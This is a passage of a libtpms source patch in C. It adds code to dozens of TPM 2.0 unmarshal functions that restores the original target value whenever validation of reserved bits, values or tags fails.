*target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT32_Unmarshal((UINT32 *)target, buffer, size); /* libtpms changed */\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (*target & TPMA_OBJECT_reserved) {\n \t rc = TPM_RC_RESERVED_BITS;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -488,13 +508,15 @@ TPM_RC\n TPMA_SESSION_Unmarshal(TPMA_SESSION *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMA_SESSION orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT8_Unmarshal((UINT8 *)target, buffer, size); /* libtpms changed */\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (*target & TPMA_SESSION_reserved) {\n \t rc = TPM_RC_RESERVED_BITS;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -519,13 +541,15 @@ TPM_RC\n TPMA_CC_Unmarshal(TPMA_CC *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMA_CC orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT32_Unmarshal((UINT32 *)target, buffer, size); /* libtpms changed */\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (*target & TPMA_CC_reserved) {\n \t rc = TPM_RC_RESERVED_BITS;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -537,6 +561,7 @@ TPM_RC\n TPMI_YES_NO_Unmarshal(TPMI_YES_NO *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_YES_NO orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT8_Unmarshal(target, buffer, size); \n@@ -548,6 +573,7 @@ TPMI_YES_NO_Unmarshal(TPMI_YES_NO *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -559,6 +585,7 @@ TPM_RC\n TPMI_DH_OBJECT_Unmarshal(TPMI_DH_OBJECT *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_DH_OBJECT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -571,6 +598,7 @@ TPMI_DH_OBJECT_Unmarshal(TPMI_DH_OBJECT *target, BYTE **buffer, INT32 *size, BOO\n \t isNotPersistent &&\n \t isNotLegalNull) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -582,6 +610,7 @@ TPM_RC\n TPMI_DH_PARENT_Unmarshal(TPMI_DH_PARENT *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_DH_PARENT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -600,6 +629,7 @@ TPMI_DH_PARENT_Unmarshal(TPMI_DH_PARENT *target, BYTE **buffer, INT32 *size, BOO\n \t isNotEndorsement && \n \t isNotLegalNull) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -611,6 +641,7 @@ TPM_RC\n TPMI_DH_PERSISTENT_Unmarshal(TPMI_DH_PERSISTENT *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_DH_PERSISTENT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -619,6 +650,7 @@ TPMI_DH_PERSISTENT_Unmarshal(TPMI_DH_PERSISTENT *target, BYTE **buffer, INT32 *s\n \tBOOL isNotPersistent = (*target < PERSISTENT_FIRST) || (*target > PERSISTENT_LAST);\n \tif (isNotPersistent) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -630,6 +662,7 @@ TPM_RC\n TPMI_DH_ENTITY_Unmarshal(TPMI_DH_ENTITY *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_DH_ENTITY orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -656,6 +689,7 @@ TPMI_DH_ENTITY_Unmarshal(TPMI_DH_ENTITY *target, BYTE **buffer, INT32 *size, BOO\n \t isNotAuth &&\n \t isNotLegalNull) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -667,6 +701,7 @@ TPM_RC\n TPMI_DH_PCR_Unmarshal(TPMI_DH_PCR *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_DH_PCR orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -677,6 +712,7 @@ TPMI_DH_PCR_Unmarshal(TPMI_DH_PCR *target, BYTE **buffer, INT32 *size, BOOL allo\n \tif (isNotPcr &&\n \t isNotLegalNull) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -688,6 +724,7 @@ TPM_RC\n TPMI_SH_AUTH_SESSION_Unmarshal(TPMI_SH_AUTH_SESSION *target, BYTE **buffer, INT32 *size, BOOL allowPwd)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_SH_AUTH_SESSION orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -700,6 +737,7 @@ TPMI_SH_AUTH_SESSION_Unmarshal(TPMI_SH_AUTH_SESSION *target, BYTE **buffer, INT3\n \t isNotPolicySession &&\n \t isNotLegalPwd) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -711,6 +749,7 @@ TPM_RC\n TPMI_SH_HMAC_Unmarshal(TPMI_SH_HMAC *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_SH_HMAC orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -719,6 +758,7 @@ TPMI_SH_HMAC_Unmarshal(TPMI_SH_HMAC *target, BYTE **buffer, INT32 *size)\n \tBOOL isNotHmacSession = (*target < HMAC_SESSION_FIRST ) || (*target > HMAC_SESSION_LAST);\n \tif (isNotHmacSession) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -730,6 +770,7 @@ TPM_RC\n TPMI_SH_POLICY_Unmarshal(TPMI_SH_POLICY *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_SH_POLICY orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -738,6 +779,7 @@ TPMI_SH_POLICY_Unmarshal(TPMI_SH_POLICY *target, BYTE **buffer, INT32 *size)\n \tBOOL isNotPolicySession = (*target < POLICY_SESSION_FIRST) || (*target > POLICY_SESSION_LAST);\n \tif (isNotPolicySession) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -749,6 +791,7 @@ TPM_RC\n TPMI_DH_CONTEXT_Unmarshal(TPMI_DH_CONTEXT *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_DH_CONTEXT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -761,6 +804,7 @@ TPMI_DH_CONTEXT_Unmarshal(TPMI_DH_CONTEXT *target, BYTE **buffer, INT32 *size)\n \t isNotPolicySession &&\n \t isNotTransient) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -772,6 +816,7 @@ TPM_RC\n TPMI_DH_SAVED_Unmarshal(TPMI_DH_SAVED *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_DH_SAVED orig_target = *target; // libtpms added\n allowNull = allowNull;\n \n if (rc == TPM_RC_SUCCESS) {\n@@ -789,6 +834,7 @@ TPMI_DH_SAVED_Unmarshal(TPMI_DH_SAVED *target, BYTE **buffer, INT32 *size, BOOL\n \t isNotSequenceObject &&\n \t isNotTransientStClear) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -800,6 +846,7 @@ TPM_RC\n TPMI_RH_HIERARCHY_Unmarshal(TPMI_RH_HIERARCHY *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_HIERARCHY orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -816,6 +863,7 @@ TPMI_RH_HIERARCHY_Unmarshal(TPMI_RH_HIERARCHY *target, BYTE **buffer, INT32 *siz\n \t }\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -827,6 +875,7 @@ TPM_RC\n TPMI_RH_ENABLES_Unmarshal(TPMI_RH_ENABLES *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_ENABLES orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -844,6 +893,7 @@ TPMI_RH_ENABLES_Unmarshal(TPMI_RH_ENABLES *target, BYTE **buffer, INT32 *size, B\n \t }\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -855,6 +905,7 @@ TPM_RC\n TPMI_RH_HIERARCHY_AUTH_Unmarshal(TPMI_RH_HIERARCHY_AUTH *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_HIERARCHY_AUTH orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -868,6 +919,7 @@ TPMI_RH_HIERARCHY_AUTH_Unmarshal(TPMI_RH_HIERARCHY_AUTH *target, BYTE **buffer,\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -879,6 +931,7 @@ TPM_RC\n TPMI_RH_HIERARCHY_POLICY_Unmarshal(TPMI_RH_HIERARCHY_POLICY *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_HIERARCHY_POLICY orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -895,6 +948,7 @@ TPMI_RH_HIERARCHY_POLICY_Unmarshal(TPMI_RH_HIERARCHY_POLICY *target, BYTE **buff\n \t\t BOOL isNotHP = (*target < TPM_RH_ACT_0) || (*target > TPM_RH_ACT_F);\n \t\t if (isNotHP) {\n \t\t rc = TPM_RC_VALUE;\n+\t\t *target = orig_target; // libtpms added\n \t\t }\n \t }\n \t}\n@@ -908,6 +962,7 @@ TPM_RC\n TPMI_RH_PLATFORM_Unmarshal(TPMI_RH_PLATFORM *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_PLATFORM orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -918,6 +973,7 @@ TPMI_RH_PLATFORM_Unmarshal(TPMI_RH_PLATFORM *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -929,6 +985,7 @@ TPM_RC\n TPMI_RH_ENDORSEMENT_Unmarshal(TPMI_RH_ENDORSEMENT *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_ENDORSEMENT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -943,6 +1000,7 @@ TPMI_RH_ENDORSEMENT_Unmarshal(TPMI_RH_ENDORSEMENT *target, BYTE **buffer, INT32\n \t }\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -954,6 +1012,7 @@ TPM_RC\n TPMI_RH_PROVISION_Unmarshal(TPMI_RH_PROVISION *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_PROVISION orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -965,6 +1024,7 @@ TPMI_RH_PROVISION_Unmarshal(TPMI_RH_PROVISION *target, BYTE **buffer, INT32 *siz\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -976,6 +1036,7 @@ TPM_RC\n TPMI_RH_CLEAR_Unmarshal(TPMI_RH_CLEAR *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_CLEAR orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -987,6 +1048,7 @@ TPMI_RH_CLEAR_Unmarshal(TPMI_RH_CLEAR *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -998,6 +1060,7 @@ TPM_RC\n TPMI_RH_NV_AUTH_Unmarshal(TPMI_RH_NV_AUTH *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_NV_AUTH orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -1012,6 +1075,7 @@ TPMI_RH_NV_AUTH_Unmarshal(TPMI_RH_NV_AUTH *target, BYTE **buffer, INT32 *size)\n \t\t BOOL isNotNv = (*target < NV_INDEX_FIRST) || (*target > NV_INDEX_LAST);\n \t\t if (isNotNv) {\n \t\t rc = TPM_RC_VALUE;\n+\t\t *target = orig_target; // libtpms added\n \t\t }\n \t }\n \t}\n@@ -1025,6 +1089,7 @@ TPM_RC\n TPMI_RH_LOCKOUT_Unmarshal(TPMI_RH_LOCKOUT *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_LOCKOUT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -1035,6 +1100,7 @@ TPMI_RH_LOCKOUT_Unmarshal(TPMI_RH_LOCKOUT *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -1046,6 +1112,7 @@ TPM_RC\n TPMI_RH_NV_INDEX_Unmarshal(TPMI_RH_NV_INDEX *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_NV_INDEX orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -1054,6 +1121,7 @@ TPMI_RH_NV_INDEX_Unmarshal(TPMI_RH_NV_INDEX *target, BYTE **buffer, INT32 *size)\n \tBOOL isNotNv = (*target < NV_INDEX_FIRST) || (*target > NV_INDEX_LAST);\n \tif (isNotNv) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -1065,6 +1133,7 @@ TPM_RC\n TPMI_RH_AC_Unmarshal(TPMI_RH_AC *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_AC orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -1073,6 +1142,7 @@ TPMI_RH_AC_Unmarshal(TPMI_RH_AC *target, BYTE **buffer, INT32 *size)\n \tBOOL isNotAC = (*target < AC_FIRST) || (*target > AC_LAST);\n \tif (isNotAC) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -1084,6 +1154,7 @@ TPM_RC\n TPMI_RH_ACT_Unmarshal( TPMI_RH_ACT *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_RH_ACT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_HANDLE_Unmarshal(target, buffer, size); \n@@ -1092,6 +1163,7 @@ TPMI_RH_ACT_Unmarshal( TPMI_RH_ACT *target, BYTE **buffer, INT32 *size)\n \tBOOL isNotACT = (*target < TPM_RH_ACT_0) || (*target > TPM_RH_ACT_F);\n \tif (isNotACT) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -1103,6 +1175,7 @@ TPM_RC\n TPMI_ALG_HASH_Unmarshal(TPMI_ALG_HASH *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_HASH orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -1131,6 +1204,7 @@ TPMI_ALG_HASH_Unmarshal(TPMI_ALG_HASH *target, BYTE **buffer, INT32 *size, BOOL\n \t }\n \t default:\n \t rc = TPM_RC_HASH;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -1142,6 +1216,7 @@ TPM_RC\n TPMI_ALG_SYM_Unmarshal(TPMI_ALG_SYM *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_SYM orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -1170,6 +1245,7 @@ TPMI_ALG_SYM_Unmarshal(TPMI_ALG_SYM *target, BYTE **buffer, INT32 *size, BOOL al\n \t }\n \t default:\n \t rc = TPM_RC_SYMMETRIC;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -1181,6 +1257,7 @@ TPM_RC\n TPMI_ALG_SYM_OBJECT_Unmarshal(TPMI_ALG_SYM_OBJECT *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_SYM_OBJECT orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -1206,6 +1283,7 @@ TPMI_ALG_SYM_OBJECT_Unmarshal(TPMI_ALG_SYM_OBJECT *target, BYTE **buffer, INT32\n \t }\n \t default:\n \t rc = TPM_RC_SYMMETRIC;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -1217,6 +1295,7 @@ TPM_RC\n TPMI_ALG_SYM_MODE_Unmarshal(TPMI_ALG_SYM_MODE *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_SYM_MODE orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -1248,6 +1327,7 @@ TPMI_ALG_SYM_MODE_Unmarshal(TPMI_ALG_SYM_MODE *target, BYTE **buffer, INT32 *siz\n \t }\n \t default:\n \t rc = TPM_RC_MODE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -1259,6 +1339,7 @@ TPM_RC\n TPMI_ALG_KDF_Unmarshal(TPMI_ALG_KDF *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_KDF orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -1284,6 +1365,7 @@ TPMI_ALG_KDF_Unmarshal(TPMI_ALG_KDF *target, BYTE **buffer, INT32 *size, BOOL al\n \t }\n \t default:\n \t rc = TPM_RC_KDF;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -1295,6 +1377,7 @@ TPM_RC\n TPMI_ALG_SIG_SCHEME_Unmarshal(TPMI_ALG_SIG_SCHEME *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_SIG_SCHEME orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -1329,6 +1412,7 @@ TPMI_ALG_SIG_SCHEME_Unmarshal(TPMI_ALG_SIG_SCHEME *target, BYTE **buffer, INT32\n \t }\n \t default:\n \t rc = TPM_RC_SCHEME;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -1340,6 +1424,7 @@ TPM_RC\n TPMI_ECC_KEY_EXCHANGE_Unmarshal(TPMI_ECC_KEY_EXCHANGE *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ECC_KEY_EXCHANGE orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -1362,6 +1447,7 @@ TPMI_ECC_KEY_EXCHANGE_Unmarshal(TPMI_ECC_KEY_EXCHANGE *target, BYTE **buffer, IN\n \t }\n \t default:\n \t rc = TPM_RC_SCHEME;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -1374,6 +1460,7 @@ TPM_RC\n TPMI_ST_COMMAND_TAG_Unmarshal(TPMI_ST_COMMAND_TAG *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ST_COMMAND_TAG orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ST_Unmarshal(target, buffer, size); \n@@ -1385,6 +1472,7 @@ TPMI_ST_COMMAND_TAG_Unmarshal(TPMI_ST_COMMAND_TAG *target, BYTE **buffer, INT32\n \t break;\n \t default:\n \t rc = TPM_RC_BAD_TAG;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -1396,6 +1484,7 @@ TPM_RC\n TPMI_ALG_MAC_SCHEME_Unmarshal(TPMI_ALG_MAC_SCHEME *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_MAC_SCHEME orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -1427,6 +1516,7 @@ TPMI_ALG_MAC_SCHEME_Unmarshal(TPMI_ALG_MAC_SCHEME *target, BYTE **buffer, INT32\n \t }\n \t default:\n \t rc = TPM_RC_SYMMETRIC;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -1438,6 +1528,7 @@ TPM_RC\n TPMI_ALG_CIPHER_MODE_Unmarshal(TPMI_ALG_CIPHER_MODE*target, BYTE **buffer, INT32 *size, BOOL allowNull)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ALG_CIPHER_MODE orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ALG_ID_Unmarshal(target, buffer, size); \n@@ -1466,6 +1557,7 @@ TPMI_ALG_CIPHER_MODE_Unmarshal(TPMI_ALG_CIPHER_MODE*target, BYTE **buffer, INT32\n \t }\n \t default:\n \t rc = TPM_RC_MODE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -1702,13 +1794,15 @@ TPM_RC\n TPMT_TK_CREATION_Unmarshal(TPMT_TK_CREATION *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_ST orig_tag = target->tag; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ST_Unmarshal(&target->tag, buffer, size);\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (target->tag != TPM_ST_CREATION) {\n \t rc = TPM_RC_TAG;\n+\t target->tag = orig_tag; // libtpms added\n \t}\n }\n if (rc == TPM_RC_SUCCESS) {\n@@ -1726,13 +1820,15 @@ TPM_RC\n TPMT_TK_VERIFIED_Unmarshal(TPMT_TK_VERIFIED *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_ST orig_tag = target->tag; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ST_Unmarshal(&target->tag, buffer, size);\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (target->tag != TPM_ST_VERIFIED) {\n \t rc = TPM_RC_TAG;\n+\t target->tag = orig_tag; // libtpms added\n \t}\n }\n if (rc == TPM_RC_SUCCESS) {\n@@ -1750,6 +1846,7 @@ TPM_RC\n TPMT_TK_AUTH_Unmarshal(TPMT_TK_AUTH *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_ST orig_tag = target->tag; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ST_Unmarshal(&target->tag, buffer, size);\n@@ -1758,6 +1855,7 @@ TPMT_TK_AUTH_Unmarshal(TPMT_TK_AUTH *target, BYTE **buffer, INT32 *size)\n \tif ((target->tag != TPM_ST_AUTH_SIGNED) &&\n \t (target->tag != TPM_ST_AUTH_SECRET)) {\n \t rc = TPM_RC_TAG;\n+\t target->tag = orig_tag; // libtpms added\n \t}\n }\n if (rc == TPM_RC_SUCCESS) {\n@@ -1775,13 +1873,15 @@ TPM_RC\n TPMT_TK_HASHCHECK_Unmarshal(TPMT_TK_HASHCHECK *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_ST orig_tag = target->tag; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ST_Unmarshal(&target->tag, buffer, size);\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (target->tag != TPM_ST_HASHCHECK) {\n \t rc = TPM_RC_TAG;\n+\t target->tag = orig_tag; // libtpms added\n \t}\n }\n if (rc == TPM_RC_SUCCESS) {\n@@ -2386,6 +2486,7 @@ TPM_RC\n TPMI_ST_ATTEST_Unmarshal(TPMI_ST_ATTEST *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_ST_ATTEST orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_ST_Unmarshal(target, buffer, size);\n@@ -2402,6 +2503,7 @@ TPMI_ST_ATTEST_Unmarshal(TPMI_ST_ATTEST *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_SELECTOR;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -2496,6 +2598,7 @@ TPM_RC\n TPMI_AES_KEY_BITS_Unmarshal(TPMI_AES_KEY_BITS *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMI_AES_KEY_BITS orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = TPM_KEY_BITS_Unmarshal(target, buffer, size); \n@@ -2507,6 +2610,7 @@ TPMI_AES_KEY_BITS_Unmarshal(TPMI_AES_KEY_BITS *target, BYTE **buffer, INT32 *siz\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -2518,6 +2622,7 @@ TPM_RC\n TPMI_CAMELLIA_KEY_BITS_Unmarshal(TPMI_CAMELLIA_KEY_BITS *target, 